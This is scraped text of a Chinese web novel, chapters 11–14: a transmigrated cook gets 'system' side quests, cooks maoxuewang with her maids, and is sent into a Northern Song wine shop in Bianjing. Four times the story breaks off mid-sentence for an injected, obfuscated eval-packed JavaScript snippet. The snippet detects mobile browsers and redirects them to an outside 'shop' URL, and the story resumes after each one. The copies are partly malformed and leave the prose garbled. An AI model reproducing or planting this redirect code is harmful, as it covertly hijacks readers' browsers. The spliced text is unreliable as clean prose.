一进门晚翠就闻到致死量的辣味，呛得她直咳嗽了两声。 “哇，小娘子今天这是做的什么，好香啊。 我问轻烟，她还不告诉我。” 轻烟一脸不告诉你是为你好的表情：“你先尝尝，好吃再告诉你。” 晚翠边洗手边抱怨，今儿她的饮子卖的没昨天多，还剩了个底。 “唉，今儿天气热，江边人不多。要不然肯定能卖完。” 孟清圆安慰她，“巧了，要不还想叮嘱你留着点，别都卖了呢。 咱们一会儿配着这道菜喝饮子，绝对解辣。” 晚翠果然被哄得很高兴。 “那还好我没卖完，要不然咱们就没得喝了，嘿嘿。” 轻烟一脸你是傻子吗你看不出来小娘子是在安慰你吗的表情。 随即又释然，反正从小到大，晚翠就没怎么聪明过。 她将盛满米饭的碗递过去，“快吃吧，小娘子可是做了好半天呢。” 晚翠又是一脸感动，“呜呜呜，小娘子对我们真好。” 她直接夹起了一片挂满红油的五花肉片塞进嘴里，随后就是一声嘶哈。 “嘶~好辣好辣~~饮子，我的饮子呢！” 孟清圆离得最近，赶紧将自己的碗递过去。 晚翠咕咚咕咚就是一大碗，喝完才觉得口腔稍微恢复了点知觉。 见她反应这么大，孟清圆都怀疑是自己手抖撒多了辣椒。 她也夹了一筷子，“还行啊，不算特别辣吧。” 晚翠见孟清圆这副淡定享受样子，怀疑是自己第一口没准备好，又忍不住伸出筷子。 不过她这次学乖了，没敢再夹五花肉片，而是选了一根看上去不那么辣额青笋条。 可即便如此，脆嫩的青笋裹着红油，入口依旧是实打实的辣。 她刚嚼两口，又开始嘶哈起来。 “嘶哈嘶哈……还是好辣！ 但真的好吃，比江边赵阿婆卖的辣豆干还香！” 轻烟快速抓住重点，“你还在外面偷偷买辣豆干吃了？” “不是我买的，是赵阿婆送我的。” 孟清圆也义愤填膺，“辣豆干好吃吗，明天买点带回来给我们也尝尝啊。” 轻烟扶额，啊不是，这是重点吗？ 晚翠又咕咚灌下一大口饮子，“好吃，但没小娘子做的这个好吃。 明天我就给你俩买回来，这不是怕你俩不爱吃嘛。” “你都没带回来，怎么知道我们不爱吃？”轻烟反问。 孟清圆见她说了半天都不动筷子，赶紧张罗，“别光顾聊天，吃啊，真的好吃。” 轻烟一脸为难。 求助，被小娘子发现自己在逃避吃饭了怎么办，在线等，挺急的。 孟清圆热情的给她碗里夹了片鸭血，“这鸭血就得配着红油吃才香。” “确实香~虽然辣，但真的好吃！”晚翠也实名制推荐。 晚翠看了看自家小娘子，又看了看大口吃菜大口干饭的好姐妹，只能硬着头皮把那片鸭血送进嘴里。 她倒不是对鸭血有什么意见，她主要对鸭血隔壁的猪大肠邻居有意见。 入口，鸭血嫩得像果冻。 裹着浓稠的红油，入口先是微麻，紧接着辣椒的鲜辣就顺着舌尖蔓延。 鲜、香、麻、辣四种味道交织在一起，口腔充斥着灼热感，却又停不下来。 相比于晚翠辣的狂喝水，轻烟的表现就淡定多了。 神色轻松地仿佛吃的不是裹满红油的鸭血，而是果冻。 “不是吧轻烟，你不辣吗？”吃辣战五渣晚翠不服。 “没感觉啊，不算太辣吧。”说罢又加了一片鸭血，“确实不太辣。” 在她空口吃了三片鸭血后，孟清圆确认，这才是天生的吃辣圣体。 瞧瞧这姿态，瞧瞧这神情，瞧瞧这动作。 优雅，实在是优雅。 三人开始对着一大盆毛血旺奋战。 相比于热爱肉食和重口味的晚翠，轻烟其实更偏爱清淡的菜式。 可就算再喜欢清淡，谁又能拒绝一盆重油重辣的毛血旺呢。 轻烟吃完鸭血，果然品尝到了辣菜的奥妙。 一口豆芽菜一口鸭血，一口五花肉一口鸭血，一口藕片一口鸭血，吃的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165315|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦乐乎。 相比较这边，晚翠那边则是一口五花肉一口肥肠，一口鸭血一口肥肠，一口肥肠一口肥肠。 看的孟清圆都震惊了，“晚翠你敢吃猪大肠啊？” 晚翠正往嘴里扒拉米饭，“敢吃啊，不就猪大肠吗，这有什么不敢的。 我还很喜欢呢，就是平时很少能吃到，今儿可是能多吃几块了。 以前郞主还在的时候，偶尔还会在冰糖肥肠，夫人最喜欢了。” “啥？这事儿我怎么不知道？” 她在脑海里回忆半天，也没搜索到关于冰糖肥肠的记忆。 “可能是小娘子你那时候还小吧。” “啊不是，你不只比我大一岁吗？” “那可能我记性比较好吧？” 晚翠又吃下一大口肥肠，“我记得小娘子当时把外面的糖衣都嗦干净了，肥肠却丢到一边，惹得夫人哭笑不得。 “轻烟，你有印象吗？”孟清圆问。 轻烟摇头，“我也不记得有这样的事情。” 【您有一条新的支线任务】 幼年时期与父母的相处时光，是原主最温馨的回忆。 请1：1复刻出孟仲书曾经制作的冰糖肥肠，帮原主找回与父母缺失的记忆。 注：该任务难度较大，无时间要求，请宿主努力加油完成哦~ 完成任务奖励：东篱食肆声望值500点 （注：声望值积攒到一定程度，可以兑换奖励，目前因宿主声望值过低，兑换功能暂未开启） 未完成任务惩罚：无 难得系统竟然会派发如此有良心的任务，这还是那个动不动就要扣钱索命的统子吗？ 统子你变了，你原来也是个好统子。 “你还记得我父亲的冰糖肥肠是怎么做的吗？” 晚翠摇头。 “我只吃过，但没学过。 郞主说我跟轻烟都没什么做饭的天赋，但胜在筋骨活络，所以就送我去学武了。 至于轻烟，夫人说她性子沉稳，便带在身边学习管账理家。 不过啊，我记得郞主做的冰糖肥肠吃起来甜甜的，还有一丝酒香气。 虽然淡淡的，但一口就能吃出来，可香了。” “酒香气？” 孟清圆好奇，冰糖肥肠的做法一般是冷水下锅，焯水定型。 放砂锅里小火慢炖到软烂再用香油和冰糖裹上糖色。 虽然可能会用到黄酒去腥，但一番炖炒下来，酒味早就散了。 怎么会吃起来还有酒香气？ “能吃出来是什么酒吗？黄酒？米酒？还是烧酒？” “小娘子你问这个可是难倒我了。 我这条舌头，哪有如此灵光。 要说是什么酒，我还真不知道。” 轻烟突然想起什么，说道：“我记得郞主说过，许多好菜都需要好酒配伍。 所以咱们库房里长期存放着各种好酒，都是用来烧菜的，我记得以花雕最多。” “对对，我记得郞主曾经收到一坛子十五年的花雕酒。 还说‘只这一坛，便可换十金。’” 十金，那就是一百两，的确是难得的好酒了。 孟清圆挠挠头，决定等回头就试一试。 只希望她这便宜爹不是用价值一百两的花雕酒做的冰糖肥肠。 不然以孟清圆现在这个经济状况，上哪给他弄十五年的花雕酒去啊。 12. 清风酒寮 一顿饭从毛血旺拐到冰糖肥肠，最后又从冰糖肥肠拐回了毛血旺。 虽然轻烟最终也没有尝试肥肠，但孟清圆看得出，她没有之前那么排斥了。 也许再做个几次，轻烟会爱上吃肥肠也说不定呢。 想当初孟清圆第一次吃肥肠，还是受了孟爸爸的撺掇。 孟爸爸最喜欢的下酒菜就是卤肥肠，每次买一小包，配着酒能喝上一整晚。 孟妈妈是不吃这些东西的，却也不拦着孟爸爸吃。 有时候还会给调一碟子辣椒醋汁，这时候孟爸爸就更高兴了。 心情一好，就忍不住跟闺女分享，于是夹上一大块塞进孟清圆嘴里：“闺女尝尝，香着呢。” 孟清圆原本是抗拒的，但就那一次，就爱上了。 后来对于任何肥肠菜，她都很感兴趣。 看完那个综艺后，甚至还自己试着做了次九转大肠。 当然，她做的是非·原汁原味版本。 饭后，三人凑在一起商量食肆开张的菜单。 “炸鱼脯要上，香辣的最好吃！” “瓜齑也可以上，这个简单，交给我来做就行。” “瓜花酿不行，时令性太强，过了这一阵就买不到了，但可以改成苦瓜酿，也好吃着呢。” “小娘子，琥珀水晶脍和鸡茸干贝要不要上？” “琥珀水晶脍可以，鸡茸干贝太麻烦了，还是等以后再说吧。” “今天晚上这个毛血旺是不是也可以上？我觉得特别好吃！” “我也觉得可以，上京做辣菜的店不多，咱们其实可以来几道。” “金桔陈皮蒸排骨也可以上，那个简单，提前备料到时候上锅蒸就行。 其他的清炒时蔬就根据当天送的菜来定，还可以加一道虎皮凤爪。 那个也简单，而且可以做一锅提前备着。” 三人商量了半天，总算是把菜谱给定了下来。 算上还没做的金桔陈皮蒸排骨和虎皮凤爪，也有十一道了。 虽然对于玉京楼那种大酒楼来说，还不及人家的零头。 但隔壁陈记鱼羹靠着一道鱼羹都能开三十多年，她们就一个小食肆，这些菜暂时也足够了。 反正随着孟清圆解锁的菜谱越来越多，店里的菜品也会跟着增加。 “明儿我就去买食牌，回头小娘子往上写好字，挂在墙上就行了。” 陈江流给算的吉日是后天，所以明天是开业前准备的最后一天。 各种肉蛋菜蔬的供应也得赶紧定下来。 晚上，孟清圆躺在床上，迫不及待的打开系统。 菜谱页面，如今已经点亮了十张卡牌，分别是： 一颗星：瓜齑、绿豆甘草冰雪凉水、盐渍金桔 二颗星：炸鱼脯、团油饭、芦芽鸡丝、瓜花酿、毛血旺 三星：琥珀水晶脍、鸡茸干贝 每一道菜谱点击后，都写着详细的制作教程。 属于就连厨房小白看了，只要严格按照步骤操作，都能做出美味的傻瓜教程。 点击任务栏后，两条支线任务正躺在面板上。 一条是金色菜谱的支线任务： 金色菜谱是系统的馈赠，也是宿主的外挂。 请于24小时内前往菜谱面板点击第一道金色菜谱查看任务详情，超时后任务将自动消失。 注：如任务消失，则默认宿主未完成任务。 另一条则是冰糖肥肠的支线任务： 幼年时期与父母的相处时光，是原主最温馨的回忆。 请1：1复刻出孟仲书曾经制作的冰糖肥肠，帮原主找回与父母缺失的记忆。 注：该任务难度较大，无时间要求，请宿主努力加油完成哦~ 第二个任务孟清圆暂时不考虑，于是按照第一个支线任务的要求，重新打开了菜谱面板。 位于第十一张画着金色问号的菜品，也就是支线任务的主角，此时上面的问号正在以加大加粗的特效上下起伏，似乎在示意孟清圆赶紧点击。 孟清圆不疑有他，直接点击菜谱，想要查看支线任务。 【检测到宿主已接取支线任务，模块测试中，代码计算中，支线任务已开启……】 随着系统忽远忽近的播报声，一阵白色光芒突然如眩光般涌入孟清圆的脑海。 她只觉脑袋剧痛，整个人便失去了意识。 …… 不知过了多久，孟清圆才缓缓恢复意识。 她抬起酸麻的右手，使劲揉了揉眼，眼前的事物逐渐从一片白雾变的清楚。 挂着蓝色拓印布料的门口，十分狭窄的小窗，贴满了千字文的石墙……空气中还弥漫着一股浓重清冽的酒香。 “嘶——这是哪儿啊？” 孟清圆撑着身子坐起来，只觉得脑壳生疼，就跟被人从背后偷袭挨了一闷棍似的。 低头一看，更是差点尖叫出声。 她身上穿的并不是自己原来那套衣裙，而是一件俏绿俏绿的短打。 裤腿束在布靴里，俨然是一身干活的打扮。 “我是谁？我在哪？我在干什么？ 这是又给我干哪来了？？？” 孟清圆一口老血堵在胸口，心中有八百个疑问。 “系统？统子？你这个坑姐的不靠谱的统子，你有本事整蛊我，你有本事说句话！ 你别躲在里面不出声，我知道你在家！” 可惜，饶是孟清圆心里怒骂系统三千遍，也得不到一点回应。 更可怕的是，她脑海里的系统没有了。 是的，没有了，消失了。 找不着也打不开，真是见了大鬼了。 就在孟清圆第三十八次问候系统祖先的时候，脑海里终于传来了久违的系统提示音。 【检测到宿主已进入支线任务位面，支线任务已开启】 恭喜您解锁新的DLC，开启新地图。 位面世界内时间流速与原世界流速为1000：1。 您需要在本位面完成隐藏任务，才能重新回到原来世界。 您的新身份：清风酒寮店主女儿。 新位面介绍：现在是宋徽宗元符三年，您所在的地方是北宋汴京。 您作为清风酒寮店主女儿，经常对外扮成小厮帮忙看店，店里的招牌蓝桥风月在汴京城小有名气。 您的亲属关系：母亲，清风酒寮店主，性格泼辣飒爽。 请宿主自由探索并完成支线任务结□□□□□□□□□ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165316|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝□□□，请□□，□□□全□□□□□才□□□□务，在完成任务前，系统将处于锁定状态，宿主不可打开且不得查看。 完成任务奖励：本金色菜谱制作权限 未完成任务惩罚：于任务失败时间开始计算，系统将收取6个月店铺租金，每月500两 （注：如店铺资金不足，则会自动负债，负债金额超过5两，时间超过3天，宿主将被系统抹杀） 槽点太多孟清圆一时竟不知该从哪吐槽。 什么鬼系统竟然还自带DLC，DLC这么珍贵的东西是不用花钱买就能体验的吗？ 她玩的果然是什么大型模拟经营类游戏对吧？ 而且穿到北宋末年也很离谱吧？ 真实的古代世界是这么随随便便就能穿越过去的吗？ 还有这一行行的□□□，完形填空啊这是？ 到底是什么支线任务啊她真的看不懂。 系统这是拿她当日本人整呢？ 不是，无限流也不是这么玩的啊？ 谁家游戏上一个副本还没打完就穿到下个地图，她那东篱食肆还没开张呢啊？ 搞咩啊这是！ 正在心里疯狂吐槽，门外突然传来一个爽利的女声：“阿圆，醒了？快出来搭把手，前巷的张老爹来打酒了。” “啊、啊？哎！” 孟清圆下意识回应，一骨碌爬起来出了房门。 算了，来都来了，先看看新地图再说吧。 门外是个挺大的院子，靠墙摆放着一排排的酒坛。 坛口封着红布，上面用墨写着酒名。 院子尽头是一间敞亮的铺面，门楣上挂着一块褪色的木牌，上书四个大字——清风酒寮。 只不过，孟清圆低头看了看自己的手脚，这穿越后年龄怎么还一次比一次小了。 上一次还是百万酒楼准继承人的十八岁长房嫡女，这次就成了酒寮老板娘的十四岁独生女。 照这么下去，要是再来几次穿越，不会直接玩成胎穿吧？ 孟清圆心中的吐槽跟B站弹幕一样一片片飘过，人却已经很诚实的走到了前边铺面。 一个穿着粗布襦裙头发挽成圆髻的年轻妇人正在铺面后搬动酒坛，见她出来赶紧催促：“快点，我这腾不出手，赶紧过来沽酒。” “阿圆啊，打两斤东阳酒。” 一身短打的张老爹声如洪钟，震得孟清圆耳根子嗡嗡的。 “好、好嘞。” 孟清圆一边揉耳朵，一边接过了张老爹的酒葫芦开始。 她本人虽然不会打酒，但这具身体似乎有本能的肌肉记忆。 一拿起酒提子，双手就仿佛开启了技能辅助模式。 从酒坛里舀出来的琥珀色东阳酒，形成一条流体线，稳稳地倒入了张老爹的酒葫芦里。 动作一气呵成，宛如后世教科书中卖油翁的"自钱孔入，而钱不湿"。[1.] 光这一招，要是后世录个视频发到抖音，再把酒换成什么蜂蜜牛奶洗衣液，点赞肯定能过万。 只可惜张老爹似乎对这门手艺司空见惯，连个夸赞的眼神都没给孟清圆。 搞得她也没能像语文课本里的老翁一般自谦：哎呀哎呀，洒洒水啦，唯手熟尔。 13. 打马图 将一整只酒壶灌满，张老爹接过掂了掂重量，交了钱便离开。 送走张老爹，她就乖乖站在一旁，帮着妇人擦拭酒器，整理铺面。 完全良好适应酒寮小厮了属实是。 这么忙活半天，终于到了中午。 铺面的客人渐渐少了，妇人吩咐店里的伙计阿福看店，自己则带着孟清圆回到后院的厢房吃饭。 桌上是三菜一酒：一碗粉蒸肉，一盘紫苏煎黄瓜，一道炸鹌鹑，一锅香梗米炊饭。 以及，一坛琼酥蜜酒。 “快吃吧，吃饱了下午还得接着干活呢。” 妇人给她夹了一大筷子粉蒸肉，又往自己碗中倒了满满一碗酒，端起来一饮而尽。 这大中午的，吃饭就喝酒啊…… 孟清圆咂舌，真不愧是宋朝啊。 传说中春天要饮尝新酒，夏日要饮冰果酒，秋日要饮松栗酒，冬日要饮温黄酒。 路子野到让孟清圆这个现代人都咂舌。 什么羊肉、羊髓、雪花、松花、麻椒、蟾蜍、蜂巢…… 就没有他们不敢往酒里加的。 像是妇人喝的那酒，闻起来一股子甜甜的米香。 有点像后世的那种小甜酒，闻着就好喝。 见对方盯着自己的酒碗眼馋，妇人哈哈笑。 “怎么，我家阿圆这是开始馋酒了？” 妇人想了想，还是给孟清圆倒了一碗。 “那就来点尝尝，不过只能喝一碗。 你还长身体呢，喝多了不长个儿。 不过咱们这种世代酿酒的人家，多尝尝也好。 为娘如你这般大的时候，已经整日泡在酒坛子里睡觉了。” 她话锋一转，又说道：“所以为娘现在就长得不高。 每年春会，人但凡一多，都只能看到人群的后脑勺。” “哈哈哈哈，没事，浓缩的都是精华。” 孟清圆被她逗的直乐，顺口就把后世的小品台词给念了出来。 妇人一愣，“精华，什么精华？” 孟清圆心里暗道失误，赶紧找补：“那个，我是说，酒里都是精华。” 为了赶紧翻篇，她用手捧起脸盘子那么大个酒碗，猛喝了一口。 意料之外的呛口并没出现，反而入口香甜，“好喝呀这个！” “好喝也不能多喝，就这一碗，再没有了。” “不多喝不多喝。” 见妇人不再抓着那句台词不放，孟清圆放下心来。 两人一边饮酒，一边炫饭。 粉蒸肉肥而不腻，紫苏煎黄瓜清脆爽口，炸鹌鹑酥香美味。 乍一看还不觉得，但仔细一想，这些好像都是适合下酒的菜吧？ 吃的正酣畅，突然对面茶楼传来一阵喧哗，还夹杂着女子豪爽地笑。 孟清圆正好也吃饱了，便好奇地掀开门帘溜到前堂看热闹。 只见一位身着水绿色襦裙的少女正兴高采烈地从茶楼里冲出来，脚下生风，手里举着好几个绣工精致得荷包。 她一边朝清风酒寮方向走，一边回头哈哈大笑。 “阿芷、晏娘、小满妹妹，今儿这顿酒，就多谢几位相请啦！” 茶楼二层的窗边突然探出几颗脑袋。 其中一位穿着粉色襦裙的少女大声喊：“鲍娘，你少得意！ 我这就叫阿兄送钱袋子来，一会儿咱们继续。 我还就不信，这打马还就赢不过你啦？” 被称作鲍娘的少女闻言，笑得花枝乱颤，腰都直不起来。 “好啊好啊！吃茶不够味儿，你等我先痛饮三杯再说！ 一会儿我再多赢点，咱们晚上直接上樊楼吃席去！” 说着，她便走到了清风酒寮的铺面门口，正好对上一脸吃瓜表情的孟清圆。 鲍娘大大方方地走上前，语气爽朗。 “烦请小娘子，店里的好酒各给我来上一坛。” 说着，她还得意地抛了抛手里的几个钱袋子。 清脆的碰撞声叮铃当啷：“银钱管够，只管拣好的拿！” 妇人也已经跟着迎了出来，招呼对方后吩咐孟清圆。 “阿圆，去搬一坛蔷薇露酒、一坛流香酒、一坛雪里泡梅、一坛羊羔酒，再搬一坛咱们得蓝桥风月！” “五坛子？是不是多了点啊……” 孟清圆看着眼前少女单薄的小身板儿，也就比她大个两三岁的样子。 买那么多，喝得了吗？ 见孟清圆迟疑，鲍娘拍拍胸脯。 “小娘子放心，五坛子酒，保管一滴也剩不下。” “行吧，酒喝多了可不长个儿啊。” 孟清圆现学现用，拿刚才妇人的话劝她。 “哈哈哈哈，鲍娘，人家嫌你矮呢！” 楼上又传来爽朗的嘲笑声。 “长那么高作甚，我又不当那高架火烛。” 得，人家心宽着呢。 孟清圆于是转身就往后院的酒坛堆走去。 这几坛酒都不算太重，她很快就把五坛酒一一搬到了铺面门口，摆成一排。 鲍娘满意地点点头，正准备叫人来搬，抬头却见茶楼二楼那几个脑袋都齐齐将头缩了回去。 钱袋子都是她们的，可不能出钱又出力。 鲍娘见自己的小伙伴们促狭，也不在意，撸起袖子便打算自己上手。 楼上复又探出头的小脑袋们看到这一幕，再次哈哈大笑。 “鲍娘，若搬不动，便少买些吧，也心疼心疼我们的钱袋子！” “谁说我搬不动！”鲍娘好胜心起。 “要不我帮你搬一趟吧。” 孟清圆见这小娘子性格好，不免想上前帮忙。 况且难得穿越过来，北宋诶，汴京诶，她正想找个机会到处看看，于是主动提议。 “那敢情好，就麻烦小娘子啦！” 两人各抱起两坛酒，孟清圆又顺手拎起剩下的一坛，并肩往对面茶楼走去。 妇人站在酒寮门口望着她们的身影，半点没放在心上。 东京素来繁华安定，治安极好。 再看那几位小娘子的穿着气度，定然是家世不凡的闺秀。 阿圆能跟这样的人多接触接触，开阔些眼界，没什么不好的。 于是转身回后院，接着吃酒用饭去了。 刚走到茶楼门口，守在一旁的小厮见状立刻上前，躬身道：“小娘子们，让小的来搬吧。” 鲍娘却霸气拒绝：“不用，几坛酒而已。 自己抱上去的，待会儿喝着才更有滋味儿！” 也不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165317|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么客气吧，其实也挺沉的，让人家搬一搬其实也行的。 孟清圆心里默默吐槽。 不过金主都发话了，她也不好把酒扔给小厮。 小厮见这位小娘子是真的不想假于人手，也不坚持。 于是笑着侧身让路，还贴心的说了句：“小娘子们慢走。” 这茶楼装修的极雅致，地上还铺着厚软的棉毯。 孟清圆甚至在墙上看到一幅展子虔的《游春图》，就不知道是真品还是临摹。 两人走到二楼最里面的包间，房门被从里面打开，三位女郎簇拥着迎出来。 “鲍娘，你还真把酒抱上来啦！” 鲍娘胸脯一挺，莫名骄傲。 “笑话！区区几坛酒。 若是抱不上来，我在楼下就能全都开坛喝了。 还不是心疼你们，想着让你们也先闻闻这好酒的香气！” 几人说笑打闹，包间里的婢子连忙上前从两人怀中接过酒坛，小心翼翼摆到屋内的案几上。 其中一个穿着紫衣的婢子炮弹般冲到鲍娘身边，撅着嘴小声抱怨。 “小娘子，方才都是她们箍着我，不让我下去帮你搬呢。” “不打紧。” 鲍娘满不在乎的挥挥手。 转头就拿起案几上的空碗，让婢子倒了一碗蓝桥风月，仰头一饮而尽。 “果然好酒！” 她撸起袖子露出臂膊，高声道：“来来来！ 我的好姐妹们，各家都把钱袋子送来了吗，咱们可要继续啦。” 孟清圆原本放下酒坛打算退出包间，却突然被鲍娘抓住。 “小娘子，你别走啊！玩不玩打马？ 我们这才四个人，这打马就得人多才更好玩呢！” 孟清圆虽然没玩过打马，但斗地主、炸金花、打麻将和掼蛋她都门儿清，于是跃跃欲试。 “不会玩，但可以试试？” “试试！” 鲍娘干脆拉着她往桌边走，“我亲自教学，保管你一学就会！” 这个年纪的小娘子们，就没有不好热闹的，于是其他女郎也纷纷招呼： “我们这还有刚端上来的杏仁酪和桂花糕，你快来尝尝！” “霁月，快给小娘子添一杯北苑先春。” “快再搬一个凳子来，上面放个团绒软垫。” 这打马有点类似于后世的飞行棋。 虽然考验技术，但更拼运气。 似乎是因为新手有保护期，孟清圆竟然战绩还不错。 四五局下来，最后天也黑了，酒也喝光了，几人晃晃悠悠的出了茶楼。 五人中，要数鲍娘喝的最多。 五坛酒，她至少喝了四坛。 告别时，走路都不成直线了，眼神却还勉强保持着一丝清明。 “下次继续啊，我的好姐妹们。” 这架势，活像后世那些周五下班后，跟小姐们喝酒撸串到酩酊大醉的上班族。 孟清圆跟她们挥手告别，目送几人被婢女搀扶着上了马车。 她拍了拍自己因为喝酒而有点红的脸颊，这才轻手轻脚的溜回清风酒寮。 这会儿酒寮已经打烊了，但侧边的小门还给她留着。 孟清圆溜进后院，刚好看到妇人正站在灶边忙活。 14. 牡丹花宴 见她回来，对方只扬声道：“愣着干嘛，快过来打下手。” 孟清圆松了口气。 孩子借着干活的名义出去嗨皮了一下午才回来，多少有点心虚。 她赶紧凑到灶边，看看能做点什么。 妇人坐在炉子边，正在烤炙荔枝焙腰子。 腰子被切成薄片，上面划着菱纹刀花。 随着炭火的炙烤微微卷曲，就像荔枝的形状。 灶台边则摆着一整条还没处理的生羊腿。 这么一条生羊腿价格可不便宜，看来伙食不错呀。 孟清圆为自己日后的伙食点了个赞。 “喝酒了？” 妇人一边转动着炙炉的架子，确保腰子受热均匀，一边问，语气里听不出喜怒。 孟清圆食指对戳，小心应道：“就……喝了一丢丢。” 妇人却没揪着这个话题不放，反而指了指旁边的羊腿。 “去把那羊腿收拾了，拣肉多的地方片厚片。 拿刀仔细着，别切着手了，不然还得送你上医馆。” “没问题，包我身上。” 孟清圆连忙应下。 因着原主厨艺不咋地，她特意没将肉片的太好。 反而每一刀肉都片的歪七扭八，薄厚不均。 妇人也不介意，伸手挑出些片厚、肉质紧实的，都丢进旁边的砂锅子里。 又加了葱姜花椒和杏仁，配清水慢慢炖。 剩下的碎肉和羊腿上剔下来的边角料，她都扔进一碗玫瑰露酒里泡着。 随后也架在炭火上炙烤。 孟清圆发现，妇人虽然厨艺不见的多精湛，但做出来的东西，就是格外有滋味儿。 像是现在，随着炭火的热力慢慢渗透，玫瑰露酒的甜香混合着羊肉的鲜香渐渐弥漫开。 她只觉得自己晚翠上身了：“肚肚饿饿。” 妇人听着这一连串的叠词，鸡皮疙瘩差点撒一地。 她赶紧拣了两片已经烤好的羊肉，撒了点细盐和小茴香，就塞进孟清圆嘴里。 “饿就吃，说什么饿饿，怪腻歪人的。” 孟清圆见她搓着手臂，反而促狭起来。 “肚肚还是饿饿~” “停停停，小祖宗哟，马上就开饭，摆碗筷去。” 目的达成，孟清圆美滋滋去收拾桌子。 妇人这边把肉都烤好，砂锅子里的羊肉也炖的差不多了。 揭开锅盖，一股浓郁的肉香扑面而来。 汤色奶白，里面的杏仁已经炖的几乎化进汤里。 山煮羊、荔枝焙腰子，炙羊肉，菜色虽不多，但架不住量大。 尤其是那砂锅，足有孟清圆的头大，摆在桌上相当壮观。 妇人擦了擦手，吩咐道：“阿圆，去拿一坛蓝桥风月来。 今日这菜啊，得配好酒。” 孟清圆咂舌，酒蒙子啊？ 顿顿要喝酒，这算不算是吃饭不喝酒，香味少一口？ 两人开饭，妇人给孟清圆也倒了一碗。 她内心腹诽：中午不是说长身体的时候喝酒不长个儿吗，这怎么又主动倒上了？ 妇人一边往碗里加了块炖得软烂的羊肉，一边碎碎念。 “你既喜欢喝酒，为娘便跟你说说这喝酒的学问。” 孟清圆往嘴里大口扒拉淋了羊汤汁子的饭，做洗耳恭听状。 这羊汤醇厚，泡着香梗米炊饭，一口下去暖乎乎，吃起来是真的爽。 “这宫里喝酒，最是讲究排场，爱用那些个金银器。 什么金盏银注子，喝的是个身份权力。 文人士族多爱用天青釉杯，配着诗词歌赋，喝的是个风雅意境。 而咱们市井老百姓，就没那么多讲究。 粗陶碗使得，竹杯也使得。 只要酒好、菜香、吃的自在，就比什么都强。” 妇人闭上眼睛慢慢呷了一口酒，语气慢悠悠的，果然看上去十分自在享受。 孟清圆细想，这话说得还真是没毛病。 虽然她没见识过，但古装的电视剧却没少看。 里面演的，就跟妇人说的差不多。 她听得认真，却也不耽误炫饭，筷子十分从心又夹了一块荔枝焙腰子。 腰子是新鲜的猪腰，已经去掉了腰筋和腰皮，只留中间最嫩的一块。 从中间片开烤得外焦里嫩，小茴香和胡椒的香气完全渗了进去，一点腥膻味儿都没有。 “还有啊，咱们宋人喝酒，跟那些外邦人不同。 他们喝酒，那是牛嚼牡丹，甭管好赖都往肚子里灌，只求个酩酊大醉。 可咱们喝酒，讲究个有度，酒过伤身，所以不可过量。 空腹饮酒伤身，需得配着菜吃，也不可强劝人喝酒。 愿意喝便喝，不愿喝也不可逼迫。” 妇人放下酒碗，慢慢的呼出一口气，眼神明亮。 “这喝酒的本意，是为了惬意自在。 要是喝的不痛快，反倒成了累赘，那又何必喝呢？” 想起后世那些不得不参加的酒局和喝酒的陋习，孟清圆觉得妇人说的简直太有道理了。 就该让那些个爱灌人酒的臭男人们都来听一听，学一学。 于是孟清圆举杯跟妇人碰了一下。 一口蓝桥风月下肚，清甜的酒香混杂着羊肉的鲜香，果然比单纯喝酒更有滋味。 就着妇人的“酒经”，两人这顿饭足足吃了一个时辰。 到最后，砂锅里的山煮羊见了底，炙羊肉和焙腰子也吃得干干净净。 第二天醒来时，孟清圆却神清气爽，完全不见宿醉的难受。 妇人已经早早起床，挽起发髻在前面张罗着沽酒。 上午是酒寮客人最多的时候，大多是附近铺面的伙计，挑担的小贩，以及买回家给阿爹和阿兄的小娘子。 孟清圆洗漱出来，赶紧帮着招呼一波又一波的客人。 直到午时左右人才渐渐少下来，出去送货的阿福也赶了回来。 中午的饭菜简单却很扎实，一锅青菜豆腐汤，一盘酱萝卜，就着肉酱索面，三人吃的格外香。 “我方才去送货，看到朱雀门那边，好多花铺子已经将牡丹花都摆出来了，好不漂亮！” 阿福大口吞着索面，跟两人分享。 妇人一拍脑门，“这天天忙得，差点把这事儿给忘了。 今年的牡丹花期定的二十几？” 阿福把嘴里的东西咽下去才回答：“二十三。 今年天回暖的晚，所以比往年推迟了几天。 我听福昌楼的五谷说，他们从后日开始就要推出牡丹宴了。” 宋朝的牡丹花期是大节。 届时，全城的花匠都会把自己最得意的牡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 